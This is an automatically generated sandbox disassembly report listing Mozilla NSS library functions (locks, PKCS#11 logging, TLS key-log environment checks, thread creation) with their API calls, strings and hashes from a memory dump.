Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

TlsGetValue.KERNEL32 ref: 6C694DD7
EnterCriticalSection.KERNEL32(?), ref: 6C694DEC
PR_Unlock.NSS3(?), ref: 6C694E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C694E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C694E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C694E71
free.MOZGLUE(00000000), ref: 6C694E7A
PR_Unlock.NSS3(?), ref: 6C694EA2
TlsGetValue.KERNEL32 ref: 6C694EC1
EnterCriticalSection.KERNEL32(?), ref: 6C694ED6
PR_Unlock.NSS3(?), ref: 6C694F01
free.MOZGLUE(00000000), ref: 6C694F2A

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: ddcf76185b09ff66af8f83aaf2c6521a0a2c4f4f69a7a3b883a3c515b195a743
Instruction ID: c7eadba8dfdcf8d112905d5e7f89dc14206fe8fe0b03632c4973cecca49b379e
Opcode Fuzzy Hash: ddcf76185b09ff66af8f83aaf2c6521a0a2c4f4f69a7a3b883a3c515b195a743
Instruction Fuzzy Hash: ADB10075A00206EFDB00EF68D884BBA77B4BF0A318F044174ED2597B11EB71E965CB99

Function 6C69FFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFB4

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFC6

Part of subcall function 6C7198D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C719946
Part of subcall function 6C7198D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5D16B7,00000000), ref: 6C71994E
Part of subcall function 6C7198D0: free.MOZGLUE(00000000), ref: 6C71995E

PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFD6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFE6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFF6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0006
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0016
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0026
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0036
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0046
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0056
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0066
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0076
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0086
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0096
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00A6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00B6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00C6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00D6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00E6

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: 6469a5f842050281d22a2772845515bbb5629e086970cb9ed89f603a1cff7afe
Instruction ID: 46c0be7224f279011e5d4f149d0e3a213e0c61ad0ddb1409ee3b8ea372c33888
Opcode Fuzzy Hash: 6469a5f842050281d22a2772845515bbb5629e086970cb9ed89f603a1cff7afe
Instruction Fuzzy Hash: EB3139F0E1B7149E8B45EF26C24C94ABAF4BB26688714553AE02487F10DB74494BCFDD

Function 6C6E6E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C6E6BF7), ref: 6C6E6EB6

Part of subcall function 6C641240: TlsGetValue.KERNEL32(00000040,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641267
Part of subcall function 6C641240: EnterCriticalSection.KERNEL32(?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C64127C
Part of subcall function 6C641240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641291
Part of subcall function 6C641240: PR_Unlock.NSS3(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C6412A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C78FC0A,6C6E6BF7), ref: 6C6E6ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6E6EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C6E6EFC
PR_NewLock.NSS3 ref: 6C6E6F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C6E6F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C6E6BF7), ref: 6C6E6F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C6E6BF7), ref: 6C6E6F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C6E6BF7), ref: 6C6E6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C6E6BF7), ref: 6C6E6FFD

Strings

NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C6E6F4F
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C6E6FDB
SSLKEYLOGFILE, xrefs: 6C6E6EB1
# SSL/TLS secrets log file, generated by NSS, xrefs: 6C6E6EF7
NSS_SSL_CBC_RANDOM_IV, xrefs: 6C6E6FF8
SSLFORCELOCKS, xrefs: 6C6E6F2B

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 9983c3250d8e395f5ef798fee75d9cd6aaf6a91e9736162d06b81e00f2da6d9c
Instruction ID: bfaa7fc9e1db0d61847c1811fb0bf64da549d59bd5bfb9ea467bde6d475f0f21
Opcode Fuzzy Hash: 9983c3250d8e395f5ef798fee75d9cd6aaf6a91e9736162d06b81e00f2da6d9c
Instruction Fuzzy Hash: 6EA119B2A5FD8587E7504A3CCD0178432A6AB8B32AF584377EA31C7ED6DB35D480824D

Function 6C665DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C665DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C665E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6C665E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6C665E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6C665EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6C665ED9
SECKEY_SignatureLen.NSS3(?), ref: 6C665F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6C665F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C665F89
free.MOZGLUE(?), ref: 6C665FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C665FB6
free.MOZGLUE(00000000), ref: 6C665FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C66600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C666079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C666084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C666094

Strings

, xrefs: 6C665EEB

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: d901d56224bb4418cbcbd9d9a172ef52497049b3c066da2285bbec1347382744
Instruction ID: 10cc2dcea2be0ec3e3dd28649f9d367e685084ceadb61b549844765db08a7210
Opcode Fuzzy Hash: d901d56224bb4418cbcbd9d9a172ef52497049b3c066da2285bbec1347382744
Instruction Fuzzy Hash: FB8114B1E002059BDF108F66DD82BAE77B5AF45318F144128E859A7F82E731E815CBDB

Function 6C684E60 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C684E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C684EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C684EC7

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C684EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C684F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C684F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C684F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C684F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C684F68

Strings

hSession = 0x%x, xrefs: 6C684EA2, 6C684EB2
(CK_INVALID_HANDLE), xrefs: 6C684EC0, 6C684F13
ulCount = %d, xrefs: 6C684F63
C_GetAttributeValue, xrefs: 6C684E7E
hObject = 0x%x, xrefs: 6C684EF5, 6C684F05
nvl, xrefs: 6C684F82, 6C684FB2
pTemplate = 0x%p, xrefs: 6C684F4A

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue$nvl
API String ID: 1003633598-93353135
Opcode ID: fb92c4ffa5f634867e1735a83aa7d0aa6f90120fdeed323078e37e2375f306a0
Instruction ID: f6e14b3d736c57f279b726a741a7e004b96aca9608d797e3e296e14d28d058eb
Opcode Fuzzy Hash: fb92c4ffa5f634867e1735a83aa7d0aa6f90120fdeed323078e37e2375f306a0
Instruction Fuzzy Hash: A741B871603148ABDB00DF55DE8CFAA77B9AF5231DF044038E9096BA51DB709948CB7E

Function 6C684CD0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C684CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C684D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C684D37

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C684D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C684D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C684D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C684DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C684DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C684E20

Strings

hSession = 0x%x, xrefs: 6C684D12, 6C684D22
(CK_INVALID_HANDLE), xrefs: 6C684D30, 6C684D83
*pulSize = 0x%x, xrefs: 6C684E1B
hObject = 0x%x, xrefs: 6C684D65, 6C684D75
pulSize = 0x%p, xrefs: 6C684DB7
nvl, xrefs: 6C684DD4, 6C684DFF
C_GetObjectSize, xrefs: 6C684CEE

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize$nvl
API String ID: 1003633598-284515238
Opcode ID: 278c88c42d84bd266fd638f538553036082ef0850af10a77a7d5f224c25a59cc
Instruction ID: ff990fbe767b50cf8c292360391d709c143b795392f06256ba8e5ebdc624f9ef
Opcode Fuzzy Hash: 278c88c42d84bd266fd638f538553036082ef0850af10a77a7d5f224c25a59cc
Instruction Fuzzy Hash: 9341EB71602208AFDB009F10DE9CF6A37B9EB4634DF048034F9096BA51DB709948CB7E

Function 6C687C90 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6C687CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C687CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C687CF3

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C687D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C687D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C687D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C687D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C687D77

Strings

hSession = 0x%x, xrefs: 6C687CCE, 6C687CDE
(CK_INVALID_HANDLE), xrefs: 6C687CEC
ulDataLen = %d, xrefs: 6C687D40
C_Verify, xrefs: 6C687CB1
ulSignatureLen = %d, xrefs: 6C687D72
nvl, xrefs: 6C687D8F, 6C687DC3
pSignature = 0x%p, xrefs: 6C687D59
pData = 0x%p, xrefs: 6C687D25

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify$nvl
API String ID: 1003633598-4033680503
Opcode ID: 3c7e7a15cea87878576098e33b48e0fcaf301d34cb86e9a8608494b23f8823cd
Instruction ID: 891cdfe52b6b1f958b2b871e3efbb6d5ef4f782ddf634e12508c842d5df35402
Opcode Fuzzy Hash: 3c7e7a15cea87878576098e33b48e0fcaf301d34cb86e9a8608494b23f8823cd
Instruction Fuzzy Hash: C631A371702148AFDB109F55DE4CEAA3BF2AB4235CF084434F9096BA11DB309948CBBE

Function 6C682F00 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6C682F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C682F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C682F63

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C682F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6C682F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6C682FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6C682FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6C682FE7

Strings

hSession = 0x%x, xrefs: 6C682F3E, 6C682F4E
(CK_INVALID_HANDLE), xrefs: 6C682F5C
pOldPin = 0x%p, xrefs: 6C682F95
ulOldLen = %d, xrefs: 6C682FB0
ulNewLen = %d, xrefs: 6C682FE2
pNewPin = 0x%p, xrefs: 6C682FC9
nvl, xrefs: 6C682FFF, 6C683030
C_SetPIN, xrefs: 6C682F21

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN$nvl
API String ID: 1003633598-3987637513
Opcode ID: a0c0929151f935d472a087e52fedf7264f646c289ca27a79c4ce82b28266d8da
Instruction ID: a4b79b0e1421ec2e2d805b612606df912baf784089d4f8c17c66037e965dcc03
Opcode Fuzzy Hash: a0c0929151f935d472a087e52fedf7264f646c289ca27a79c4ce82b28266d8da
Instruction Fuzzy Hash: 9731B375603148AFDB009F55DE4CE8A7BB2EB4735DF484034E909ABB51DB309948CBAE

Function 6C769C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6C769C70
PR_NewLock.NSS3 ref: 6C769C85

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PR_NewCondVar.NSS3(00000000), ref: 6C769C96

Part of subcall function 6C63BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6421BC), ref: 6C63BB8C

PR_NewLock.NSS3 ref: 6C769CA9

Part of subcall function 6C7198D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C719946
Part of subcall function 6C7198D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5D16B7,00000000), ref: 6C71994E
Part of subcall function 6C7198D0: free.MOZGLUE(00000000), ref: 6C71995E

PR_NewLock.NSS3 ref: 6C769CB9
PR_NewLock.NSS3 ref: 6C769CC9
PR_NewCondVar.NSS3(00000000), ref: 6C769CDA

Part of subcall function 6C63BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C63BBEB
Part of subcall function 6C63BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C63BBFB
Part of subcall function 6C63BB80: GetLastError.KERNEL32 ref: 6C63BC03
Part of subcall function 6C63BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C63BC19
Part of subcall function 6C63BB80: free.MOZGLUE(00000000), ref: 6C63BC22

PR_NewCondVar.NSS3(?), ref: 6C769CF0
PR_NewPollableEvent.NSS3 ref: 6C769D03

Part of subcall function 6C75F3B0: PR_CallOnce.NSS3(6C7B14B0,6C75F510), ref: 6C75F3E6
Part of subcall function 6C75F3B0: PR_CreateIOLayerStub.NSS3(6C7B006C), ref: 6C75F402
Part of subcall function 6C75F3B0: PR_Malloc.NSS3(00000004), ref: 6C75F416
Part of subcall function 6C75F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6C75F42D
Part of subcall function 6C75F3B0: PR_SetSocketOption.NSS3(?), ref: 6C75F455
Part of subcall function 6C75F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6C75F473

Part of subcall function 6C719890: TlsGetValue.KERNEL32(?,?,?,6C7197EB), ref: 6C71989E

EnterCriticalSection.KERNEL32(?), ref: 6C769D78
calloc.MOZGLUE(00000001,0000000C), ref: 6C769DAF
_PR_CreateThread.NSS3(00000000,6C769EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6C769D9F

Part of subcall function 6C63B3C0: TlsGetValue.KERNEL32 ref: 6C63B403
Part of subcall function 6C63B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6C63B459

_PR_CreateThread.NSS3(00000000,6C76A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6C769DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6C769DFC
_PR_CreateThread.NSS3(00000000,6C76A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6C769E29
calloc.MOZGLUE(00000001,0000000C), ref: 6C769E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6C769E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C769E89

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: b5aefc78b1ad5f0be1eea4f7c726adef41032bb7688b705fd30b5d3c2fc4a16c
Instruction ID: 47e0bda89cbaa6b437f2cb76a8c6fe7070108346d6ff20ce188df0cb11ec11ae
